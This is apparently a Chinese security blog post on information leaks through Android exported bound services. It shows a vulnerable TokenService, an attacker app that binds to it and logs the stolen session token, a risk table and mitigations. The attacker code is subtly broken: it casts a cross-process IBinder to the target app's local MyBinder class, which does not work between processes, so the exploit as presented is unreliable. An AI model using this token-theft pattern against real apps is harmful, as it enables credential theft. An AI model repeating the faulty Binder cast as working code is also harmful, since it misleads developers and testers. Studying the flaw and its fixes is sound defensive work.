🔍 Android 绑定服务导致敏感信息泄露漏洞分析与利用
🧩 什么是绑定服务(bindService)?
在 Android 中,服务(Service) 是一种运行在后台、无需用户界面的组件,通常用于执行长时间运行的任务,比如后台下载、播放音乐、执行数据库同步等。
绑定服务(bindService()
)是一种让 其他组件或 App 通过接口调用服务功能 的方式。
bindService()
和普通 startService()
的区别?
类型 | 特点 | 使用方式 |
---|---|---|
startService() | 一次性启动服务, 服务独立运行,不能交互 | startService(intent) |
bindService() | 绑定后可交互,通过 Binder 获取服务对象并调用方法 | bindService(intent, ...) |
当你调用 bindService()
时,你实际上是在说:
“我要连接到这个服务,获取它暴露的接口对象,然后调用它的方法。”
🧱 通俗解释:
把服务当作一个公司,你用
bindService()
拿到了它的联系人(Binder 对象),然后通过这个联系人去问它要数据、执行操作。
❗ 为什么绑定服务会造成信息泄露?
Android 中的绑定服务(bindService
)如果被误配置为可被外部 App 绑定,且返回了含有敏感信息的 Binder
对象,就可能导致攻击者在无权限、无签名校验的前提下,获取隐私数据如 token、用户身份、配置等。
🧨 示例代码
<service
android:name=".TokenService"
android:exported="true" />
public class TokenService extends Service {
@Nullable
@Override
public IBinder onBind(Intent intent) {
return new MyBinder(); // 外部可绑定
}
public class MyBinder extends Binder {
public String getToken() {
return AppConfig.SESSION_TOKEN; // 返回敏感信息
}
}
}
漏洞关键点:
- 服务导出(
exported="true"
)。 - 未设置权限或校验绑定来源。
- 公开方法返回了敏感信息。
🎯 攻击流程分析
攻击者只需开发一个简单 App,绑定目标服务,调用其返回的 Binder
中的方法,即可盗取敏感信息。
步骤一:构造绑定 Intent
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.vuln.app", "com.vuln.app.TokenService"));
步骤二:发起绑定
context.bindService(intent, conn, Context.BIND_AUTO_CREATE);
步骤三:拿到 Binder 并调用接口
ServiceConnection conn = new ServiceConnection() {
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
// 强转为对方暴露的 Binder 类型
TokenService.MyBinder binder = (TokenService.MyBinder) service;
String token = binder.getToken();
Log.d("StolenToken", token);
}
@Override
public void onServiceDisconnected(ComponentName name) {}
};
🧪 攻击者 App 代码结构
// MainActivity.java
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.vuln.app", "com.vuln.app.TokenService"));
bindService(intent, conn, Context.BIND_AUTO_CREATE);
}
private final ServiceConnection conn = new ServiceConnection() {
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
String token = ((TokenService.MyBinder) service).getToken();
Log.e("[!] Token Leaked", token);
}
@Override
public void onServiceDisconnected(ComponentName name) {}
};
}
⚠️ 注意:这里需要事先知道目标服务的包名和类名。
☠️ 危害分析
泄露内容 | 风险后果 |
---|---|
Session Token | 冒充用户、远程控制 |
用户手机号/ID | 数据泄露、社工风险 |
配置参数 | 绕过校验、滥用资源 |
尤其在金融、社交 App 中,token 泄露 = 登录绕过。
🛡️ 防护建议
防护项 | 示例 |
---|---|
设置权限 | android:permission="com.example.SECURE_BIND" |
禁止导出 | android:exported="false" |
绑定时校验 | 在 onBind() 中调用 getCallingUid() 进行校验 |
@Override
public IBinder onBind(Intent intent) {
int uid = Binder.getCallingUid();
String[] pkgs = getPackageManager().getPackagesForUid(uid);
if (!Arrays.asList(pkgs).contains("com.trusted.client")) {
return null; // 拒绝绑定
}
return new MyBinder();
}
✅ 总结
项目 | 内容 |
---|---|
漏洞名称 | Binder 信息泄露(绑定服务) |
触发条件 | 服务导出 + 返回敏感数据的 Binder + 无校验 |
攻击方式 | 恶意 App 发起绑定,调用接口窃取数据 |
修复方法 | 禁止导出、设置权限、绑定时校验 |
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容